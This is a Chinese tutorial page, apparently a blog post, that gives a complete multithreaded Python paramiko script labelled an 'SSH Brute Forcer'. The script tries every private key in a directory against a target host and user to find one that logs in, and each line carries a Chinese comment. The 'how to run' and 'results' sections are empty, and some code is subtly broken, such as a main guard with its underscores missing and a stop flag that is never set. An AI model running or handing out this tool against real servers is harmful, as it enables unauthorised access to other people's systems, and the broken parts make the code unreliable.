利用SSH中的弱私钥

import paramiko

import argparse

import os

from threading import Thread, BoundedSemaphore

设置最大连接数

maxConnections = 5

创建一个有界信号量,用于控制同时进行的连接数

connection_lock = BoundedSemaphore(value=maxConnections)

用于控制是否停止所有线程的全局变量

Stop = False

用于记录失败连接次数的全局变量

Fails = 0

def connect(user, host, keyfile, release):

global Stop

global Fails

try:

创建SSH客户端实例

client = paramiko.SSHClient()

设置SSH客户端自动添加主机密钥

client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

尝试使用提供的密钥文件连接到SSH服务器

client.connect(hostname=host, username=user, key_filename=keyfile)

如果连接成功,打印成功信息

print(f"+ Success with key: {keyfile}")

except paramiko.AuthenticationException:

如果认证失败,打印认证失败信息

print(f"- Authentication failed, please verify the key: {keyfile}")

except paramiko.SSHException as e:

如果发生SSH异常,打印错误信息并增加失败次数

print(f"- SSH error: {e}")

Fails += 1

except Exception as e:

如果发生其他异常,打印错误信息

print(f"- Error: {e}")

finally:

如果release为True,则释放信号量

if release:

connection_lock.release()

如果客户端存在,则关闭客户端连接

if client:

client.close()

def main():

创建命令行参数解析器

parser = argparse.ArgumentParser(description='SSH Brute Forcer')

添加命令行参数:目标主机

parser.add_argument('-H', '--host', required=True, help='specify target host')

添加命令行参数:密钥文件目录

parser.add_argument('-d', '--directory', required=True, help='specify directory with keys')

添加命令行参数:用户名

parser.add_argument('-u', '--user', required=True, help='specify the user')

解析命令行参数

args = parser.parse_args()

获取命令行参数的值

host = args.host

passDir = args.directory

user = args.user

如果缺少必要的参数,则打印帮助信息并退出

if not host or not passDir or not user:

parser.print_help()

exit(0)

遍历密钥文件目录中的所有文件

for filename in os.listdir(passDir):

如果已经找到正确的密钥,则退出程序

if Stop:

print('\* Exiting: Key Found.')

exit(0)

如果失败次数超过限制,则打印警告信息并退出程序

if Fails > 5:

print('! Exiting: Too Many Connections Closed By Remote Host.')

print('! Adjust number of simultaneous threads.')

exit(0)

获取信号量,控制同时进行的连接数

connection_lock.acquire()

构造完整的密钥文件路径

fullpath = os.path.join(passDir, filename)

如果文件是公钥文件,则跳过

if filename.endswith('.pub'):

print(f'- Skipping public key file: {fullpath}')

connection_lock.release()

continue

打印正在测试的密钥文件

print(f'- Testing keyfile {fullpath}')

创建新线程来处理密钥文件的连接测试

t = Thread(target=connect, args=(user, host, fullpath, True))

启动线程

t.start()

if name == 'main':

如果直接运行该脚本,则执行main函数

main()

运行方法:

运行结果:

相关推荐
天天被压力5 分钟前
【A股分钟级高频数据完全手册 #05】指数历史分钟数据接口:Pro版沪深指数分时回放
java·人工智能·python
ATMQuant25 分钟前
量化策略开发08:Lasso因子选择 - 因子动物园的断舍离
python·量化交易·lasso·vnpy·多因子选股
ATMQuant3 小时前
量化指标解码21:逻辑回归支撑阻力 - 让逻辑回归给关键价位打分
python·机器学习·逻辑回归·量化交易·技术指标
q0371803 小时前
深色 IDE 截图 OCR 老是漏字,我加了一层预处理,顺手把识别结果做成了可搜索历史
python
蜗牛8753 小时前
个人机票监控开源项目:6 个平台、10 条通道的自托管方案
python
秋名山小白4 小时前
Playwright UI 自动化测试实战教程
python·ui
AI源码5 小时前
基于 Python 的汽车市场数据分析与可视化平台
python·数据分析·汽车
会飞锦鲤5 小时前
基于 SVM + HOG 的铸造缺陷检测系统
python·opencv·机器学习·计算机视觉·缺陷检测·图像分类·svm
starrysky8106 小时前
zipfile 中文乱码修复:把已知 GBK 旧 ZIP 解压到正确中文目录
python
用户91294046848426 小时前
Codex 从零到能交付(09):让 Codex 写有用的测试,而不是只测成功路径
python